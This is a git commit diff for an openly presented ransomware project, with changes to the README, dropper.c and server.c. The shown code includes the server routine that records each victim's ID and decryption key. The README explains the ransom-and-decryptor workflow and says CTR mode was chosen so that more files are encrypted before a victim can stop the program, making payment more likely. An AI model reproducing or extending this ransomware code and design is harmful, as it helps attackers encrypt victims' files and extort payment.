Fixing some errors

README.md

@@ -479,14 +479,14 @@ The server listens and waits for a 90 byte packet. These 90 bytes will contain t
         strncpy(key, buf + 45, 44);
       }
 
-      FILE *digest = fopen(argv[1], "ab");
-      if (digest == NULL) {
+      FILE *manifest = fopen(argv[1], "ab");
+      if (manifest == NULL) {
         close(new_fd);
         exit(0);
       }
 
-      fprintf(digest, "id: %s key: %s\n", id, key);
-      fclose(digest);
+      fprintf(manifest, "id: %s key: %s\n", id, key);
+      fclose(manifest);
 ```
 
 Once the ransom is recieved, the attacker can reference the ID token provided and look up the key associated with it. The attacker will then decode this base64 string into a file, and send that file along with the decryption program to the target in order for them to decrypt their files. Without receiving the ID, it is not possible to know what key to send back to the target.
@@ -515,7 +515,7 @@ Because the program writes the ransom note as soon as it can send the ID and key
 ## CTR vs CBC
 I had a lot of difficulty choosing over these two options. CTR will be broken more easily if an IV/key pair is reused, but CBC is susceptible to padding oracle attacks. Padding oracle attacks can be mitigated by the decrypter program using authenticated encryption, but there is also the possibility that if the victim hired a security professional that they could create their own decryptor program that disregards the authentication and build their own padding oracle into that.
 
-Because the IV/key pair is derived using a salt, and each individual file has a randomly-generated 256-bit salt attached to it, the potential for IV/key reuse comes down to the potential for a collision between two salts of that bitspace. It seems unlikely that a single system would have enough files to cause a collision of a 256-bit salt, but over thousands of systems the probability for such a collision is far from zero. However, it seems very unlikely that affected files will be compared across different systems, and would be like trying to find two identical needles in thousands of different haystacks.
+Because the IV/key pair is derived using a salt, and each individual file has a randomly-generated 256-bit salt attached to it, the potential for IV/key reuse comes down to the potential for a collision between two salts of that bitspace. It seems unlikely that a single system would have enough files to cause a collision of a 256-bit salt, but over thousands of systems the probability for such a collision is far from zero. However, since each IV/key pair is derived from a salt and a 256-bit random key, and each system generates its own random key, there would not only need to be a collision of the salt but a collision of the random key. 
 
 I decided that the potential for each mode's vulnerabilities to be exploited successfully was unlikely, and so decided that CTR would be the better option for performance reasons. If a victim noticed what was happening and killed the encryption program before it could encrypt all files, CTR mode will have encrypted more data in the same time than CBC could, thus increasing the chances that a particularly important file was encrypted and making the victim more likely to pay the ransom.
 

dropper.c

@@ -2182,8 +2182,6 @@ timing differences more consistent.\n\n");
   if (pid == -1) {
     return 1;
   } else if (pid > 0) {
-    /* This child will catch SIGHUB/SIGINT signals and print note
-     * if recieved, or wait for encrypter process to finish*/
     int status;
     waitpid(pid, &status, 0);
   } else {

server.c

@@ -143,14 +143,14 @@ int main(int argc, char *argv[]) {
         strncpy(key, buf + 45, 44);
       }
 
-      FILE *digest = fopen(argv[1], "ab");
-      if (digest == NULL) {
+      FILE *manifest = fopen(argv[1], "ab");
+      if (manifest == NULL) {
         close(new_fd);
         exit(0);
       }
 
-      fprintf(digest, "id: %s key: %s\n", id, key);
-      fclose(digest);
+      fprintf(manifest, "id: %s key: %s\n", id, key);
+      fclose(manifest);
 
       close(new_fd);
       exit(0);